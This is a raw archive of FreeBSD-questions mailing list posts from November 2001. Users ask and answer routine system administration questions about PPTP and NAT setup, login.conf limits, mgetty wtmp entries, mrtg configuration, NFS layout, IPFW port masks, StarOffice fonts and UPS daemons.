lw3fd.law3.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 10:20:54 GMT X-Originating-IP: [139.108.175.26] From: "Thor Legvold" To: freebsd-net@freebsd.org Cc: freebsd-questions@freebsd.org Subject: Network setup questions Date: Wed, 21 Nov 2001 10:20:54 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 10:20:54.0415 (UTC) FILETIME=[33D159F0:01C17276] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Well, I've asked 3 or 4 times now in the last 3 weeks, and haven't received any answers. Posted to comp.unix.bsd.freebsd.misc and to both questions- and net@freebsd.org. That leads me to conclude that either I'm: asking the wrong question(s), asking in an improper manner or asking the wrong people/wrong group. I *have* searched Deja, I *have* read the docs and attempted to get this to work - I really don't know where else I could be looking or asking for more information. If my question was worded poorly or inappropiate, I would appreciate a pointer as to where/how/who I might contact in order to get my system up and configured properly. Again, I'm trying to log into an ISP via PPTP for internet access, using mpd-netgraph but also trying out pptpclient. I have a small home LAN that I want to NAT/IPFW such that all machines can share the internet connection. I'm running FreeBSD 4.4-Stable. Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:28:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id A4A0937B405 for ; Wed, 21 Nov 2001 02:28:36 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 54A4D66B23; Wed, 21 Nov 2001 02:28:36 -0800 (PST) Date: Wed, 21 Nov 2001 02:28:36 -0800 From: Kris Kennaway To: Bashar Cc: freebsd-questions@FreeBSD.ORG Subject: Re: login.conf? Message-ID: <20011121022836.A16178@xor.obsecurity.org> References: <20011121131418.E27152-100000@FreeBSD.KuwaitNet.Net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="jRHKVT23PllUwdXP" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011121131418.E27152-100000@FreeBSD.KuwaitNet.Net>; from big@kuwaitnet.net on Wed, Nov 21, 2001 at 01:17:26PM +0300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --jRHKVT23PllUwdXP Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Nov 21, 2001 at 01:17:26PM +0300, Bashar wrote: > Regards, > Running Fbsd 3.5 and 4.4 seems some function at login.conf doesn't > work for some reason such as autodelete, idletime and sessiontime (maybe > others) is there any special thing need to be done to activate these > function? eventhough the welcome,maxproc,coredumpsize and cputime for > example work perfectly. Please re-advice in this issue. Thanks Yes, some of them (probably including those three) aren't implemented by utilities in the base system. I think there's something in ports which utilizes idletime, at least (idled, or something). This should probably be documented in the manpage..perhaps it already is. Kris --jRHKVT23PllUwdXP Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+4HTWry0BWjoQKURAiOsAJ9FCyINcufxePfGUJo2HOyLl/IFYgCgmuRC bUu62a/4g8raCYCa8ElC8xc= =UvzF -----END PGP SIGNATURE----- --jRHKVT23PllUwdXP-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:30:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from anchor-post-33.mail.demon.net (anchor-post-33.mail.demon.net [194.217.242.91]) by hub.freebsd.org (Postfix) with ESMTP id 3AFC537B405 for ; Wed, 21 Nov 2001 02:30:54 -0800 (PST) Received: from viewp.demon.co.uk ([194.222.47.29]) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 166Uea-0007zV-0X for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 10:30:53 +0000 Received: (from nobody@localhost) by viewp.demon.co.uk (8.11.1/8.11.1) id fALAZ0s89988 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 10:35:01 GMT (envelope-from humbug@seaton-ross.co.uk) X-Authentication-Warning: honeybourne.viewp.co.uk: nobody set sender to humbug@seaton-ross.co.uk using -f To: freebsd-questions@freebsd.org Subject: wtmp entries from mgetty Message-ID: <1006338899.3bfb8353ae8cc@web.augustines.co.uk> Date: Wed, 21 Nov 2001 10:34:59 +0000 (GMT) From: "\"Richard Chapman\"" MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.4 X-Originating-IP: 213.120.90.59 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello list, I have a problem with mgetty, I am using mgetty to provide dial in access via a modem for both terminal and ppp (userland) sessions. This is all working great except for the problem that I am getting loads and loads of entries in wtmp - honeybourne# last | more dialout cuaa1 Mon Nov 19 22:20 still logged in dialout cuaa1 Mon Nov 19 22:20 still logged in dialout cuaa1 Mon Nov 19 22:19 - 22:20 (00:00) dialout cuaa1 Mon Nov 19 22:19 still logged in dialout cuaa1 Mon Nov 19 22:19 - 22:19 (00:00) dialout cuaa1 Mon Nov 19 22:19 still logged in dialout cuaa1 Mon Nov 19 22:18 - 22:19 (00:00) dialout cuaa1 Mon Nov 19 22:18 still logged in dialout cuaa1 Mon Nov 19 22:18 - 22:18 (00:00) dialout cuaa1 Mon Nov 19 22:18 still logged in dialout cuaa1 Mon Nov 19 22:17 - 22:17 (00:00) dialout cuaa1 Mon Nov 19 22:17 still logged in dialout cuaa1 Mon Nov 19 22:17 - 22:17 (00:00) dialout cuaa1 Mon Nov 19 22:16 still logged in dialout cuaa1 Mon Nov 19 22:16 - 22:16 (00:00) dialout cuaa1 Mon Nov 19 22:16 still logged in dialout cuaa1 Mon Nov 19 22:16 - 22:16 (00:00) dialout cuaa1 Mon Nov 19 22:15 still logged in dialout cuaa1 Mon Nov 19 22:15 - 22:15 (00:00) dialout cuaa1 Mon Nov 19 22:15 still logged in dialout cuaa1 Mon Nov 19 22:15 - 22:15 (00:00) honeybourne# date Mon Nov 19 22:21:04 GMT 2001 honeybourne# uname -a FreeBSD honeybourne 4.2-RELEASE FreeBSD 4.2-RELEASE #1: Sun Mar 25 20:46:36 BST 2001 root@honeybourne:/usr/src/sys/compile/HONEYBOURNE i386 honeybourne# Does anyone know why I am getting so many of these entries, all these entries make my wtmp quite large and difficult to see the wood for the trees! Many thanks for your help Richard Chapman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:38: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id 7B4CC37B405 for ; Wed, 21 Nov 2001 02:37:59 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id 36B9249A24; Wed, 21 Nov 2001 11:37:58 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id A97F949A23; Wed, 21 Nov 2001 11:37:55 +0100 (CET) Date: Wed, 21 Nov 2001 11:37:55 +0100 From: Axel Scheepers To: David Loszewski Cc: freebsd-questions@freebsd.org Subject: Re: help with monitoring healthd with mrtg plz??? Message-ID: <20011121113755.C96032@mars.thuis> Reply-To: Axel Scheepers References: <001201c17156$27ab04d0$3000b1d8@sickness> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <001201c17156$27ab04d0$3000b1d8@sickness>; from stealth215@mediaone.net on Mon, Nov 19, 2001 at 06:58:55PM -0500 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 06:58:55PM -0500, David Loszewski wrote: > Target[temp]: `/usr/local/bin/healthdc cat | /usr/bin/awk '/^/ {print > $2*10; print $3*10; print "a long time"; print $1}'` > so I put that in my mrtg.cfg, ran it and this is what I get: > > healthdc: cat: No address associated with hostname > WARNING: Could not get any data from external command > '/usr/local/bin/healthdc cat | /usr/bin/awk '/^/ {print $2*10; print > $3*10; print "a long time"; print $1}'' I think you should remove 'cat' in the above Target line, I don't use mrtg anymore (rrdtool is a bit better I think) so I don't know if this will work for mrtg. Try running the commands between `` in your shell to see the output. That extra cat in there makes no sense; there's no file to cat so it gives an error. The output of healthdc needs to be piped through awk, not through cat. Hope this helps, -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ Good leaders being scarce, following yourself is allowed. ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:41:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f270.law10.hotmail.com [64.4.14.145]) by hub.freebsd.org (Postfix) with ESMTP id 2758737B405 for ; Wed, 21 Nov 2001 02:41:48 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 02:41:47 -0800 Received: from 194.128.74.5 by lw10fd.law10.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 10:41:47 GMT X-Originating-IP: [194.128.74.5] From: "Graham Lillico" To: freebsd-questions@FreeBSD.ORG Subject: Re: Filesystem Sizes Date: Wed, 21 Nov 2001 10:41:47 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 10:41:47.0941 (UTC) FILETIME=[1EFA3D50:01C17279] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG So what i'm now thinking is to have the 80Gb filesystem (2x40Gb Hardware raid) mounted as /usr on the fileserver and then nfs export /usr/ports, /usr/src, and /usr/obj to the other FreeBSD systems, then on the 20Gb disc that contains the system have about 10Gb exported as /usr/home. Does this sounds like a good plan? Or am I letting myself in for some problems? Regards Graham _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:53: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f120.law3.hotmail.com [209.185.241.120]) by hub.freebsd.org (Postfix) with ESMTP id 7B5D937B405 for ; Wed, 21 Nov 2001 02:53:00 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 21 Nov 2001 02:53:00 -0800 Received: from 139.108.175.27 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 10:53:00 GMT X-Originating-IP: [139.108.175.27] From: "Thor Legvold" To: irado@nettaxi.com Cc: freebsd-questions@freebsd.org Subject: RE: Network setup questions Date: Wed, 21 Nov 2001 10:53:00 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 10:53:00.0487 (UTC) FILETIME=[AFD89D70:01C1727A] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi and thanks for taking the time to try and help. >sorry if this is not a direct answer to you (I donnot know the answer, > >anyway). Try: http://groups.google.com and http://www.google.com/bsd, > >asking for [freebsd mpd-netgraph pptpclient] (without brackets) or > >anyother mix-max words wich, in your opinion, can led to the answer. yep, I've spent weeks searching, reading, printing out stuff. Still can't get a connection, and I'm not really sure why it doesn't work either. I'll try again... >HIH Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 2:59:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201]) by hub.freebsd.org (Postfix) with ESMTP id E897237B43B for ; Wed, 21 Nov 2001 02:59:31 -0800 (PST) Received: from sheldonh (helo=axl.seasidesoftware.co.za) by axl.seasidesoftware.co.za with local-esmtp (Exim 3.33 #1) id 166V7W-0008DF-00; Wed, 21 Nov 2001 13:00:46 +0200 From: Sheldon Hearn To: Dan Nelson Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Specififying IPFW unpriveleged port ranges with a mask In-reply-to: Your message of "Tue, 20 Nov 2001 15:33:35 CST." <20011120213335.GA44741@dan.emsphone.com> Date: Wed, 21 Nov 2001 13:00:46 +0200 Message-ID: <31572.1006340446@axl.seasidesoftware.co.za> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001 15:33:35 CST, Dan Nelson wrote: > To store a port range or port:mask, ipfw uses 2 entries in the ports > array to store lo+hi, or port+mask, and sets a bit in the rule's > 'flags' field saying "first 2 ports are a range / mask". Oookay. So using a mask isn't going to be more efficient? Mind you, IPFW efficiency is the least of my worries with natd chomping between 40% and 70% of one of this dual PII's CPUs. :-) Thanks for the explanation. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3: 1:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 16D3E37B419 for ; Wed, 21 Nov 2001 03:01:29 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id NAA06056; Wed, 21 Nov 2001 13:01:28 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "Thor Legvold" Cc: Subject: RE: Network setup questions Date: Wed, 21 Nov 2001 13:06:24 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Thor, I did not find it necessary to use netgraph, and I am not sure what the differences are between ppp and pptp. If ppp is of no use to you then ignore the rest of this message. I'll give a few vague hints as it is a while since I did this, and I have subsequently stopped using it. I used a 4.3 box to gateway to my dial-up ISP. I did "man ppp", and played with what I learned there. I had it working pretty quickly just plugging my modem into the first serial port on the box. I seem to recall that I used the -auto and -nat features. This way the box will dial automatically whenever you try to connect, and it will NAT your traffic depending on what IP the ISP gives you for the session. I also ran ipfw for firewall, but since ppp does nat, I had no need to use natd. You need to set up a ppp.conf file which has telephone numbers, login, password, time-out periods, etc. The man page explains it quite nicely. Finally, I set my LAN IPs in the 10.0.0.0/24 range. The NIC on the gateway box was 10.0.0.1, and other PCs recorded 10.0.0.1 as their default gateway. I was able to simply open IE on my windoze PC, and the BSD box would dial and connect immediately. Patrick. > -----Original Message----- > From: owner-freebsd-questions@FreeBSD.ORG > [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Thor Legvold > Sent: 21 November 2001 10:21 > To: freebsd-net@FreeBSD.ORG > Cc: freebsd-questions@FreeBSD.ORG > Subject: Network setup questions > > > Well, I've asked 3 or 4 times now in the last 3 weeks, and > haven't received > any answers. Posted to comp.unix.bsd.freebsd.misc and to both > questions- and > net@freebsd.org. > > That leads me to conclude that either I'm: asking the wrong question(s), > asking in an improper manner or asking the wrong people/wrong group. > > I *have* searched Deja, I *have* read the docs and attempted to > get this to > work - I really don't know where else I could be looking or > asking for more > information. If my question was worded poorly or inappropiate, I would > appreciate a pointer as to where/how/who I might contact in order > to get my > system up and configured properly. > > Again, I'm trying to log into an ISP via PPTP for internet access, using > mpd-netgraph but also trying out pptpclient. I have a small home > LAN that I > want to NAT/IPFW such that all machines can share the internet > connection. > I'm running FreeBSD 4.4-Stable. > > Regards, > Thor > > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3: 2:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from FreeBSD.KuwaitNet.Net (FreeBSD.KuwaitNet.Net [209.85.227.165]) by hub.freebsd.org (Postfix) with ESMTP id 8F64137B417 for ; Wed, 21 Nov 2001 03:02:32 -0800 (PST) Received: from FreeBSD.KuwaitNet.Net (big@localhost.KuwaitNet.Net [127.0.0.1]) by FreeBSD.KuwaitNet.Net (8.12.1/8.11.0) with ESMTP id fALB2Vsd029578 for ; Wed, 21 Nov 2001 03:02:31 -0800 (PST) Received: from localhost (big@localhost) by FreeBSD.KuwaitNet.Net (8.12.1/8.12.1/Submit) with ESMTP id fALB2VoV029575 for ; Wed, 21 Nov 2001 03:02:31 -0800 (PST) X-Authentication-Warning: FreeBSD.KuwaitNet.Net: big owned process doing -bs Date: Wed, 21 Nov 2001 14:02:31 +0300 (AST) From: Bashar To: Subject: Re: login.conf? Message-ID: <20011121135926.E29373-100000@FreeBSD.KuwaitNet.Net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG i've checked the man page seems i need accounted running for this porpose, i added the accounted and start accton but still its not working any idea that might help? some kernel options and recompile or something? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3: 5:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailgate.imagination.co.uk (mailgate.imagination.co.uk [212.140.144.32]) by hub.freebsd.org (Postfix) with ESMTP id B672237B41A for ; Wed, 21 Nov 2001 03:05:39 -0800 (PST) Received: from imagination.com (bed-dhcp-215a.imagination.co.uk [192.168.98.215]) by mailgate.imagination.co.uk (8.9.3/8.9.3) with ESMTP id LAA16009 for ; Wed, 21 Nov 2001 11:05:38 GMT Message-ID: <3BFB87AF.52C357F5@imagination.com> Date: Wed, 21 Nov 2001 10:53:35 +0000 From: David Groves Reply-To: david.groves@imagination.com Organization: Imagination Ltd X-Mailer: Mozilla 4.73 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Subject: Fonts, Staroffice and Postscript Printers. Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Having some problems with installing new fonts on a staroffice 5.2 with the target of printing to HP (M) series printers, with built in postscript support. The X server in question is 4.0.2, using a remote xfs (which as a 4 series, has built in truetype font support, but that doesn't really matter). Starting out with a particular truetype font, I've converted it into a postscript type 1 font (since this is all that Staroffice can print), using the tt2ps1 utility that can be found here --> http://leuksman.com/linux/ttfutils.html I've then used the type1inst port (the perl script) to add this to my X server, and this is successful, and I can see the font in xlsfonts, view it with xfontsel etc ... However, the next stage involves running the spadmin utility (as root), to add the font to the staroffice proprietary font/printing systems. Sadly, when following the instructions exactly as given in the setup guide, spadmin coredumps just as it is about to finish (after the dialog box telling you how to change your fontpath on a permanent basis). I've tried two more fonts, that were already type1 format, so it doesn't appear to be the conversion. I have also found this website --> http://linux.nf/stoffont3.html, with a description of the "under the hood" behaviour of the spadmin utility. In my case, the symlinks in /opt/Office51/xp3/pssoftfonts (or here, /compat/linux/usr/local/staroffice/xp3/pssoftfonts),, and xp3/fontmetrics/afm/ (similar path change). However the update to xp3/psstd.fonts that is supposed to be performed isn't. I've tried making this update by hand, but all attempts to do this just create which doesn't scale on screen (I don't mean gets larger, and pixelated, it simply looks the same size on screen at 12 point as at 96 point), and prints as Times. Anyone done/seen this before ? -- ____________________________________________________________________ Imagination 25 Store Street South Crescent London WC1E 7BL England | Tel +44 20 7323 3300 Fax +44 20 7323 5801 | _______________________________________________________| To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3: 6:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from frontend1.aha.ru (fish.zenon.net [213.189.198.214]) by hub.freebsd.org (Postfix) with ESMTP id E4E1037B419 for ; Wed, 21 Nov 2001 03:06:08 -0800 (PST) Received: from [195.2.83.131] (HELO backend1.aha.ru) by frontend1.aha.ru (CommuniGate Pro SMTP 3.5b9) with ESMTP id 63794012 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 14:06:07 +0300 Received: from [62.105.153.79] (HELO dima) by backend1.aha.ru (CommuniGate Pro SMTP 3.4.8/D) with SMTP id 33742815 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 14:06:07 +0300 Message-ID: <006e01c1727c$c432a890$1000020a@dima> From: "Volosenkov Dmitry" To: Subject: upsd Date: Wed, 21 Nov 2001 14:07:53 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Nov 21 14:00:21 server upsd[250]: load: 22.7, recharge: 100.0, temp: 26.1, vdc: 27.27, output voltage: 230.4 Nov 21 14:05:03 server upsd[250]: last test: NO, light test: Nov 21 14:05:03 server upsd[250]: frequency: 50.00, maxvac: 231.8, minvac: 228.9, voltage: 230.4 Nov 21 14:05:03 server upsd[250]: load: 22.7, recharge: 100.0, temp: 26.1, vdc: 27.27, output voltage: 230.4 this is on my console all the time.... what is wrong? and the second question is why i cann't use upsd & upsmond at the same time? thay cann't use one port together what is the best soft for using with APC ups? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3: 7: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gw.gbch.net (gw.gbch.net [203.143.238.93]) by hub.freebsd.org (Postfix) with SMTP id 667CE37B41A for ; Wed, 21 Nov 2001 03:06:57 -0800 (PST) Received: (qmail 24237 invoked by uid 1001); 21 Nov 2001 21:06:54 +1000 X-Posted-By: GJB-Post 2.22 07-Nov-2001 X-Operating-System: FreeBSD 4.2-RELEASE i386 X-Location: Brisbane, Australia; 27.49841S 152.98439E X-URL: http://www.gbch.net/gjb.html X-Image-URL: http://www.gbch.net/gjb/gjb-auug048.gif X-GPG-Fingerprint: EBB2 2A92 A79D 1533 AC00 3C46 5D83 B6FB 4B04 B7D6 X-PGP-Public-Keys: http://www.gbch.net/keys.html Message-Id: Date: Wed, 21 Nov 2001 21:06:54 +1000 From: Greg Black Mail-Followup-To: freebsd-questions@freebsd.org To: "Thor Legvold" Cc: freebsd-net@freebsd.org, freebsd-questions@freebsd.org Subject: Re: Network setup questions References: In-reply-to: of Wed, 21 Nov 2001 10:20:54 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Thor Legvold" wrote: | Well, I've asked 3 or 4 times now in the last 3 weeks, and haven't received | any answers. Posted to comp.unix.bsd.freebsd.misc and to both questions- and | net@freebsd.org. | | That leads me to conclude that either I'm: asking the wrong question(s), | asking in an improper manner or asking the wrong people/wrong group. | | I *have* searched Deja, I *have* read the docs and attempted to get this to | work - I really don't know where else I could be looking or asking for more | information. If my question was worded poorly or inappropiate, I would | appreciate a pointer as to where/how/who I might contact in order to get my | system up and configured properly. | | Again, I'm trying to log into an ISP via PPTP for internet access, using | mpd-netgraph but also trying out pptpclient. I have a small home LAN that I | want to NAT/IPFW such that all machines can share the internet connection. | I'm running FreeBSD 4.4-Stable. First, don't cross-post; stick to freebsd-questions for now. Second, what is your question? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3:24:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mx10.port.ru (mx10.port.ru [194.67.57.20]) by hub.freebsd.org (Postfix) with ESMTP id E33DA37B509 for ; Wed, 21 Nov 2001 03:24:05 -0800 (PST) Received: from f9.int ([10.0.0.77] helo=f9.mail.ru) by mx10.port.ru with esmtp (Exim 3.14 #1) id 166VTn-0006ok-00 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 14:23:47 +0300 Received: from mail by f9.mail.ru with local (Exim 3.14 #1) id 166VTn-0006CX-00 for freebsd-questions@FreeBSD.ORG; Wed, 21 Nov 2001 14:23:47 +0300 Received: from [195.184.195.55] by win.mail.ru with HTTP; Wed, 21 Nov 2001 14:23:47 +0300 From: "Vladimir Lushnik" <_vofka@mail.ru> To: freebsd-questions@FreeBSD.ORG Subject: Help ! i815 and AC97 Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: [195.184.195.55] Date: Wed, 21 Nov 2001 14:23:47 +0300 Reply-To: "Vladimir Lushnik" <_vofka@mail.ru> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Message-Id: Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi ! Where get driver for i815 grafic adapter and AC97 sound card To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 3:48:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hermes.nordnet.ru (hermes.nordnet.ru [213.150.64.4]) by hub.freebsd.org (Postfix) with ESMTP id 0616837B41C for ; Wed, 21 Nov 2001 03:48:14 -0800 (PST) Received: (from root@localhost) by hermes.nordnet.ru (8.11.1/8.11.1) id fALBlDJ27948 for freebsd-questions@FreeBSD.ORG.AVP; Wed, 21 Nov 2001 14:47:13 +0300 (MSK) Received: from meff (as0-u5-ppp23.nordnet.ru [213.150.64.151]) by hermes.nordnet.ru (8.11.1/8.11.1) with SMTP id fALBkuM27845 for ; Wed, 21 Nov 2001 14:46:57 +0300 (MSK) Message-ID: <000201c17282$d986f560$974096d5@meff> From: "Lumiere" To: Subject: Question about how to get FreeBSD Date: Wed, 21 Nov 2001 14:49:20 +0300 Organization: Lumiere MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0007_01C1729B.B3C1BB80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C1729B.B3C1BB80 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Hello! My name is Anton, I'm from Russia. Couldn'n you help me, please. I wanted to install FreeBSD on my computer, but I can't do it: since = some time ftp-site "current.freebsd.org" asks for some "login" and = "password" ("anonymous" login doesn't work). So, tell me some login & password please (that I can use to enter this = FTP-site ). Waiting for your answer on e-mail: lumiere@nordnet.ru Best regards, Anton. ------=_NextPart_000_0007_01C1729B.B3C1BB80 Content-Type: text/html; charset="koi8-r" Content-Transfer-Encoding: quoted-printable
Hello!
My name is Anton, I'm from Russia.
Couldn'n you help me, please.
I wanted to install FreeBSD on my computer, but I = can't do=20 it: since some time ftp-site "current.freebsd.org" asks for some = "login"=20 and "password" ("anonymous" login doesn't work).
So, tell me some login & password please (that I = can use=20 to enter this FTP-site ).
Waiting for your answer on e-mail: lumiere@nordnet.ru
Best regards, Anton.
